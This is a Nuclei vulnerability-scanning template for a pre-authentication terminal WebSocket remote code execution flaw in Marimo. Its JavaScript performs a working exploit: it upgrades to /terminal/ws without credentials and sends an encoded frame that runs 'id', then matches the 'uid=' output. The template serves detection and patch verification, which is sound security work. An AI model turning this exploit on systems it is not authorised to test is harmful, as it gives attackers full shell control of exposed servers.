id: CVE-2026-39987

info:
  name: Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE
  author: ritikchaddha
  severity: critical
  description: |
    Marimo versions <= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server.
  impact: |
    An unauthenticated attacker can achieve full remote code execution on the server by connecting to the exposed terminal WebSocket endpoint without any credentials, gaining complete control of the underlying system.
  remediation: |
    Upgrade to Marimo version 0.23.0 or later which adds authentication validation to the
    terminal WebSocket endpoint.
  reference:
    - https://github.com/advisories/GHSA-2679-6mx9-h9xc
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39987
    - https://github.com/marimo-team/marimo
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2026-39987
    epss-score: 0.96576
    epss-percentile: 0.99877
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: marimo-team
    product: marimo
    shodan-query: http.favicon.hash:-1864630356
  tags: cve,cve2026,marimo,rce,websocket,vkev,kev

javascript:
  - code: |
      let net = require("nuclei/net");
      let addr = target_host + ":" + target_port;
      let conn = net.Open('tcp', addr);

      let wsKey = "dGhlIHNhbXBsZSBub25jZQ==";

      let req = "GET /terminal/ws HTTP/1.1\r\n";
      req += "Host: " + addr + "\r\n";
      req += "Upgrade: websocket\r\n";
      req += "Connection: Upgrade\r\n";
      req += "Sec-WebSocket-Key: " + wsKey + "\r\n";
      req += "Sec-WebSocket-Version: 13\r\n";
      req += "Origin: http://" + addr + "\r\n";
      req += "\r\n";

      conn.Send(req);
      let upgradeResp = conn.RecvString();

      if (upgradeResp.indexOf("101") !== -1) {
        conn.SendHex("818337fa1e2d5e9e14");

        let output = "";
        for (let i = 0; i < 5; i++) {
          let chunk = conn.RecvString();
          if (chunk.length > 0) {
            output += chunk;
          }
          if (output.indexOf("uid=") !== -1) {
            break;
          }
        }

        conn.Close();
        Export(upgradeResp + output);
      }

    args:
      target_host: "{{Host}}"
      target_port: "{{Port}}"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid=\\d+\\([^)]+\\)"

      - type: dsl
        dsl:
          - "success == true"

    extractors:
      - type: regex
        regex:
          - "uid=\\d+\\([^)]+\\)"
# digest: 4b0a00483046022100c4fa3f36fcb1f9dbef265dceb3c5df27c9d7501e22e8ea7456601645a1e3a92e022100f2e4e56106535beabc2709fdf3b938152b1204a120bc528cf2fed1dbb5a7cb8b:922c64590222798bb761d5b6d8e72950